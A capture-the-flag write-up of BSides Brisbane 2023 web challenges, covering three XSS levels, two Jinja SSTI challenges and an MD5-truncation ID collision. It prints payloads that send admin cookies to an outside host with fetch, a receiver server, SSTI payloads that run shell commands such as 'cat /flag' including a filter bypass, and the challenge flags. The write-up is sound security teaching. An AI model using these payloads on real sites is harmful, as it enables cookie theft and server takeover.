BSides Brisbane 2023 - Writeups (Part 2: web)
The BSides Brisbane CTF was an exciting mix of traditional jeopardy challenges, and hardware/enterprise hacking. Huge props to the team who made this top quality CTF happen!
In part 1 I covered all crypto and rev challenges along with an interesting IoT challenge. In this part I’ll cover some of the web challenges, and in the next I’ll cover both of the pwn challenges (this post started getting a bit too long).
Overview
- XSS Green (web - 200 points)
- XSS Blue (web - 250 points)
- XSS Orange (web - 350 points)
- ninja1 (web - 200 points)
- ninja2 (web - 250 points)
- Coincidence (web - 250 points)
XSS Green (web - 200 points)
Can you leak the admin’s cookies?
Author: mnz
We’re presented with a bright green home page with a single link pointing to a form which we can use to send links to the admin for review. If we send a link to a site we control, we could run arbitrary JavaScript in the admin’s browser, however, we wouldn’t be able to access the cookie. Clearly, we need to find an XSS, and given that the site has such a small surface, it shouldn’t be too hard. But I looked around for 15 minutes or so and didn’t find anything. I knew that I must be missing something.
Later on, Howard let me know that they had found an XSS and just couldn’t figure out how to exploit it. It turns out, the XSS was pretty contrived and I just didn’t see it because I was using Safari with the compact tab layout (which only displays the domain of a site unless you click on the URL input to see the full URL). The XSS primitive was a js
query parameter which gets reflected into the site 🤦♂️Usually I use Firefox for CTF challenges but I didn’t bother because it was supposedly a simple web challenge. Lesson learnt!
When you visit the homepage without the js
parameter, you get redirected to this URL: https://green.web.ctf.bsidesbne.com/?js=your_input_here
. A quick inspect element reveals that we’ve been given a reflected XSS (but not quite for free).
<html>
<script>
function deadcode(){
/*your_input_here */
}
</script>
<body style="background: lightgreen">
<h1>Green</h1>
<hr />
<a href="report.php">send link to admin</a>
</body>
</html>
Figure 1: the source of the page, notice that the value of the js
parameter included verbatim in the script tags.
To exploit this vulnerability we need to find an input that will allow us to escape the comment, escape the function, and then insert code that will send the admin’s cookie back to us. We also need to ensure that the code after our input doesn’t cause a syntax error, that is the closing brace of the function must be matched by an opening brace in our input.
*/}fetch("https://backend.stackotter.dev:8000/?"+document.cookie);{/*
Figure 2: the payload I used to exfiltrate the admin’s cookie.
First, I escaped the comment and the function simply by closing them, then I used fetch
to send the admin’s cookie to a server I control, then I used a {
to ensure that the original closing brace was matched (it’ll get parsed as an empty object), and finally I used a /*
to ensure that the closing delimiter of the comment we escaped gets matched.
function deadcode(){
/**/}fetch("https://backend.stackotter.dev:8000/?"+document.cookie);{/* */
}
// With some clean up, the code becomes a lot more clear.
function deadcode() {}
fetch("https://backend.stackotter.dev:8000/?"+document.cookie);
{}
Figure 3: the payloaded inserted into the original script and cleaned up to demonstrate how it works.
Putting this payload through CyberChef’s URL Encode
recipe with Encode all special chars
enabled gives us the value to pass to js
in the URL. Sending the following URL to the admin successfully got the admin’s cookie to turn up in the logs of the server I controlled; https://green.web.ctf.bsidesbne.com/?js=%2A%2F%7Dfetch%28%22https%3A%2F%2Fbackend%2Estackotter%2Edev%3A8000%2F%3F%22%2Bdocument%2Ecookie%29%3B%7B%2F%2A
3.24.244.16 - - [23/Jul/2023 12:52:31] "GET /?flag=flag{77eeaaa231a792f0e8f2f650a12e6929} HTTP/1.1" 200 -
Figure 4: the server logs containing the flag.
Flag: flag{77eeaaa231a792f0e8f2f650a12e6929}
Note that I had to use an https
web server with my payload because of CORS, but it turns out that by using fetch’s no-cors
mode to ignore CORS I could’ve used a regular http
server. Using no-cors
restricts what parts of the request we can control and what parts of the response we can read, but that doesn’t matter in this case. Thanks OMGasm for pointing out this improvement after the CTF!
I have included the simple server code that I used, it really wasn’t anything fancy. If you don’t have a server available, I’ve heard that you can also try ngrok for these kinds of challenges.
from flask import Flask
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
@app.route("/")
def index():
return "hi"
# Cert generated by certbot and was already installed on the server for another website.
app.run("0.0.0.0", 8000, ssl_content=("keyfile.pem", "privkey.pem"))
Figure 5: *the server code used to receive the flag from the admin’s browser.
Conclusion
The challenge was a nice simple reflected XSS, if only I’d seen the query parameter 🤦♂️.
XSS Blue (web - 250 points)
Can you leak the admin’s cookies?
Author: mnz
We’re basically presented with the exact same site as XSS Green, expect this time it’s blue! (and our input is injected into a slightly more annoying part of the script tag).
function deadcode() {
var params = {};
params['noot'] = "your_input_here";
params['doot'] = 'your_input_here';
}
Figure 6: the script that our input gets inserted into.
To approach this problem I started out with my working payload for XSS Green and started to modify it. Initially I aimed to just get the payload working for the second string while ignoring the first string. Then, since the two strings used different quotation marks I could modify the payload so that it was basically a bunch of benign code when inserted into the first string. It’s hard to explain the process I used as it was essentially just intuition, but the core idea is that by using the two types of quotes, the two insertion points will interpret different parts of the input as syntax highlighting will show you below.
";';} fetch(`https://backend.stackotter.dev:8000/?`+document.cookie);{ //'//
Figure 7: my payload for XSS Blue.
function deadcode() {
var params = {};
params['noot'] = "";';} fetch(`https://backend.stackotter.dev:8000/?`+document.cookie);{ //'//";
params['doot'] = '";';} fetch(`https://backend.stackotter.dev:8000/?`+document.cookie);{ //'//';
}
// Cleaning the code up a little makes things a bit more clear
function deadcode() {
var params = {};
params['noot'] = "";
';} fetch(`https://backend.stackotter.dev:8000/?`+document.cookie);{ //'
params['doot'] = '";';
}
fetch(`https://backend.stackotter.dev:8000/?`+document.cookie);
{}
Figure 8: the script after having the payload inserted into it.
As you can see from the syntax highlighting, at the first insertion site our payload is basically just ignored as one big string followed by a comment. In contrast, the second one escapes the function, sends the cookie to our server, and matches the function’s original closing brace just as my payload for XSS Green did.
URL encoding the payload (from Figure 7) and passing that as the js
query parameter of the URL we send to the admin gives us the flag; https://blue.web.ctf.bsidesbne.com/?js=%22%3B%27%3B%7D%20fetch%28%60https%3A%2F%2Fbackend.stackotter.dev%3A8000%2F%3F%60%2Bdocument.cookie%29%3B%7B%20%2F%2F%27%2F%2F
3.24.244.16 - - [23/Jul/2023 13:29:40] "GET /?flag=flag{e7eaae85f7c752303c9d4520a06ccc39} HTTP/1.1" 200 -
Figure 9: the line of the server logs containing the flag.
Flag: flag{e7eaae85f7c752303c9d4520a06ccc39}
The solution could’ve been improved in the same ways as XSS Green, but overall I think it was probably pretty close to the intended solution.
XSS Orange (web - 350 points)
Can you leak the admin’s cookies?
Author: mnz
Again this challenge was pretty similar to XSS Blue and XSS Green in nature, except this time the website was orange! (surprise)
The main twist this time was that there were now blocked keywords (such as window
and function
). Also, our input now gets put in 3 spots.
function deadcode(your_input_here) {
if (your_input_here) {
var params = {};
params['noot'] = "your_input_here";
return params;
}
}
Figure 10: the script that our input gets inserted into.
I’ll try my best to explain the rough thought process I followed (as much of it as I can remember), but honestly these kinds of challenges are mostly just intuition with trial and error for me so it’s pretty hard to give solid advice on how to solve them.
The first thing to notice is that the third location (the double quoted string) is the odd one out and we can easily just ignore it by not using newlines or double quotes. This simplifies things a bit. Next, we can see that the biggest challenge is that the first insertion point has to end up looking like a function parameter list (which is quite a bit stricter than the if condition insertion point). Because of that observation, I started my payload with x)
to make that valid and immediately escape it. Next I provided a function body that sends the cookie to our server, and after the function body I call deadcode
. Now we just need to make sure that the payload cleanly matches up all of the closing delimiters of the things that it escaped. Because the function
keyword is blocked we can’t simply use function (
to match ) {
, but luckily we can just use a comment to ignore the ) {
immediately after our input and then use () => {
to match the original closing brace of the function. We can’t just use {
because there’s an if statement between the braces, which wouldn’t be valid as part of an object literal. With a few tweaks it’s not too difficult to ensure that the payload quietly works at the if statement insertion point too (it doesn’t actually get run so it just needs to be syntactically valid).
x) {fetch('https://backend.stackotter.dev:8000/?'+document.cookie)}; deadcode(); var y = () => {//
Figure 11: the final payload.
function deadcode(x) {fetch('https://backend.stackotter.dev:8000/?'+document.cookie)}; deadcode(); var y = () => {//) {
if (x) {fetch('https://backend.stackotter.dev:8000/?'+document.cookie)}; deadcode(); var y = () => {//) {
var params = {};
params['noot'] = "x) {fetch('https://backend.stackotter.dev:8000/?'+document.cookie)}; deadcode(); var y = () => {//";
return params;
}
}
// Cleaning the code up a little makes things a bit more clear
function deadcode(x) {
fetch('https://backend.stackotter.dev:8000/?'+document.cookie)
};
deadcode();
var y = () => {
if (x) {
fetch('https://backend.stackotter.dev:8000/?'+document.cookie)
};
deadcode();
var y = () => {
var params = {};
params['noot'] = "x) {fetch('https://backend.stackotter.dev:8000/?'+document.cookie)}; deadcode(); var y = () => {//";
return params;
}
}
Figure 12: the script after having the payload inserted into it.
Luckily JavaScript is very relaxed, because otherwise we might’ve had to work a bit more to get this payload working 😅.
3.24.244.16 - - [23/Jul/2023 13:36:41] "GET /?flag=flag{ed8a00ce2b82a9028a5d06ebbefb26582c0c98fc} HTTP/1.1" 200 -
Figure 13: the line of the server logs containing the flag.
Flag: flag{ed8a00ce2b82a9028a5d06ebbefb26582c0c98fc}
Conclusion
This challenge was pretty interesting to solve and was a nice follow on challenge from the previous two XSS challenges that I had solved. However, the fact that the web category had two of these lucrative ‘challenge series’s meant that the pwn challenges didn’t have much value in terms of points. I spent an hour-ish total to solve the three of the XSS challenges for 800 points, but spent multiple hours on protec
(a pwn challenge that didn’t get a second solve right until the end) for just 350 points. The CTF devs did a great job with the CTF, but I think the scoring could do with some tuning next year.
ninja1 (web - 200 points)
I made a super secure website!
Author: deluqs
We’re presented with a website which allows us to; sign up, log in, change our details, view our details, and see a dev page which shows how many people have signed up. I looked around for a little while trying to create accounts and change their usernames to contain HTML, SSTI payloads and SQLi payloads, but I couldn’t see any signs that any of them had done anything. That’s when I realised that the very janky looking dev page contained our username in a message along the lines of; hi username, there are 4 people registered
. Given that the page was simply just text without any styles whatsoever, I was pretty suspicious that it might be vulnerable to SSTI. I was suspicious because often SSTI will occur when a dev tries to hack together a page quickly and can’t be bothered creating a new template file so they just give Flask the template as a string (forgetting that it shouldn’t contain user input).
I once again set my username to the classic {{7*7}}
SSTI payload (no clue why it’s a classic), and it worked! On the dev page my username was displayed as 49
. I changed my username a few more times to run ls
and ls /
followed by cat /flag
, and found the flag pretty quickly.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls /').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}
Figure 14: the payloads I used to locate and read the flag.
Flag: flag{th4t-w4s-@-whoopssti}
Conclusion
This was a nice introductory SSTI with a few more elements to figure out than usual, making it that much more fun! Very well made challenge with an element of realism.
ninja2 (web - 250 points)
Ok I’ve learnt from my mistakes, hackers won’t be able to get in this time. [Period].
Author: deluqs
The attack vector is essentially the same as in ninja1, except this time there are some pesky filters in place! Please note that adding filters is not a safe fix for SSTI in the real world, it’s just a bandaid. The filters block .
, [
, and ]
, and later on I found that they may have been interfering with my ability to access members of the self.__init__.__globals__.__builtins__
object via attr
(although that could just be me misunderstanding Jinja’s attr
filter).
{{ getattr(getattr(getattr(getattr(getattr(getattr(self, "__init__"), "__globals__"), "__builtins__"), "__import__")('os'), "popen")('ls'), "read")() }}
{{ ((((((((self|attr("__init__"))|attr("__globals__"))|attr("__builtins__"))|attr("__import__"))('os'))|attr("popen"))("ls"))|attr("read"))() }}
Figure 15: two possible variants of my ninja1 payloads which avoid the blocked characters.
First I tried just modifying my ninja1 payload to use two different ways of replacing the member accesses (Figure 15). I knew about the first method already, but it didn’t work because getattr
is only available in Python and not Jinja. I found out about the second method (using the attr
filter) by reading through Jinja’s list of builtin filters. The second method also didn’t work (it showed up empty in the dev page) so I tried slowly removing layers of member accesses until I got something that worked. I found that I could get accessing self.__init__.__globals__.__builtins__
to work, but if I tried to access any of its members I got back nothing. At this point I spun up a script to allow me to test Jinja payloads locally. This was super valuable because I could get a lot of important information from the error messages.
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route("/")
def index():
template = """
your_payload_goes_here
"""
return render_template_string(template)
app.run("0.0.0.0", port=8091)
Figure 16: a crude setup for testing Jinja payloads.
To use the test script simply modify the value of the template
variable, run the script, and visit http://localhost:8091/
. You’ll need to re-run the script every time that you edit the template since Flask won’t auto re-run on file change (but if I remember correctly you may able to achieve such behaviour by using the flask
cli to run the script).
While trying to find alternative ways to access members of the __builtins__
object I realised that I could possibly use Jinja’s for loop block to iterate over the key-value pairs of __builtins__
and use an if
block to single out the value that I was interested in. It worked! I’m not entirely sure why I ended up going with using eval
to run the os.popen
phase of the payload, but it was likely just the result of trying out a bunch of options until one worked.
{% for k, val in (((self|attr("__init__"))|attr("__globals__"))|attr("items"))() %}
{% if k == "__builtins__" %}
{% for k2, val2 in (val|attr("items"))() %}
{% if k2 == "eval" %}
{{val2("getattr(getattr(__import__('os'), 'popen')('cat /flag'), 'read')()")}}<br />
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
Figure 17: the final payload (with line breaks and indentation added for readability).
I forgot to write down the flag and can’t find it back 🤦♂️, but I promise it worked!
On a high level, my approach was basically just tweak the original payload incrementally until it worked and didn’t include any banned characters 😅 I know, very useful advice.
Conclusion
I had to get quite creative with my solution, well made challenge!
Coincidence (web - 250 points)
Do you have thoughts you’d like to jot down? Well do I have the app for you!
Author: deluqs
We’re presented with a simple note storage website with the ability to sign up and log in. Importantly, we also get all of the code for the website which is essential for solving this challenge.
Attempting to sign up with stackotter@stackotter.dev
gives us an error which notifies us that only BSides BNE users are allowed to sign up. Looking at the code for /signup
reveals that this is the result of a check that emails must end with @bsidesbne.com
. Simple enough to satisfy.
After signing up with a random @bsidesbne.com
email address I poked around and found that I could create notes, view notes, and list all of my created notes. These challenges usually have the contained in the admin’s notes, so I kept that in mind as I looked through the code. My first thought was to try signing up with admin@bsidesbne.com
. It was taken, which I assumed meant that that was the admin’s email (although a random player could’ve technically signed up with it). models.py
had a generate_uid
function which used md5
(which should set off alarm bells in any hacker’s head). Let’s take a closer look at models.py
.
from flask_login import UserMixin
from hashlib import md5
from werkzeug.security import generate_password_hash
from . import db
class User(UserMixin, db.Model):
__tablename__ = 'users'
email = db.Column(db.String(100), primary_key=True, unique=True)
id = db.Column(db.String(64))
password = db.Column(db.String(100))
name = db.Column(db.String(1000))
notes = db.relationship('Note', backref='owner', lazy=True)
def generate_uid(self, email: str):
return md5(email.encode('utf-8')).hexdigest()[:6]
def get_id(self):
return self.email
def __init__(self, email, password, name):
self.email = email
self.password = generate_password_hash(password, method='sha256')
self.id = self.generate_uid(email)
self.name = name
class Note(db.Model):
__tablename__ = 'notes'
id = db.Column(db.Integer, primary_key=True)
uid = db.Column(db.String(8), db.ForeignKey('users.id'), nullable=False)
content = db.Column(db.String(2000))
Figure 18: the contents of models.py
.
The database uses generate_uid
to generate the id
field of each new user, and also uses this id
field to link notes to users. If we can find a way to get the same uid
as the admin, we’ll be able to see their notes!
The generate_uid
function’s weakness isn’t actually that it uses md5
, it’s that it only uses the first 6 characters of the hash (making collisions extremely likely). But even if it used the whole hash, hashes aren’t a very good way of generating database ids. There’s a reason that almost every database uses serial auto-incrementing primary keys.
Forcing a collision to happen is pretty easy because the generated uid
is just the first 6 characters of the md5 hash of our email (which we control). This function can only generate 46656 unique ids, which makes finding a collision not only easy, but super fast (it takes less than a second).
Assuming that admin@bsidesbne.com
was the email address of the account that we needed to find a collision for, I wrote a quick and dirty Python script (excuse the nesting).
from hashlib import md5
admin_email = "admin@bsidesbne.com"
hash = md5(admin_email.encode('utf-8')).hexdigest()[:6]
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
for a in chars:
for b in chars:
for c in chars:
for d in chars:
for e in chars:
for f in chars:
for g in chars:
for h in chars:
email = a + b + c + d + e + f + g + h + "@bsidesbne.com"
if md5(email.encode('utf-8')).hexdigest()[:6] == hash:
print(email)
exit(0)
Figure 19: the collision finding script.
The script essentially just generates a bunch of random @bsidesbne.com
email addresses and compares the generated uid
s with the generated uid
for admin@bsidesbne.com
. The colliding email that I found was aaackp06@bsidesbne.com
. Signing up with this email presented me with a single note containing the flag.
Flag: flag{h4ndm4d3-1dEntif13rs-ar3-b4d}
(yes they are)
Conclusion
Super fun code-review style challenge! We did have to guess that the admin’s email was admin@bsidesbne.com
, but in my opinion that made the challenge more realistic without making it too guessy, which I always appreciate (it was a pretty obvious guess).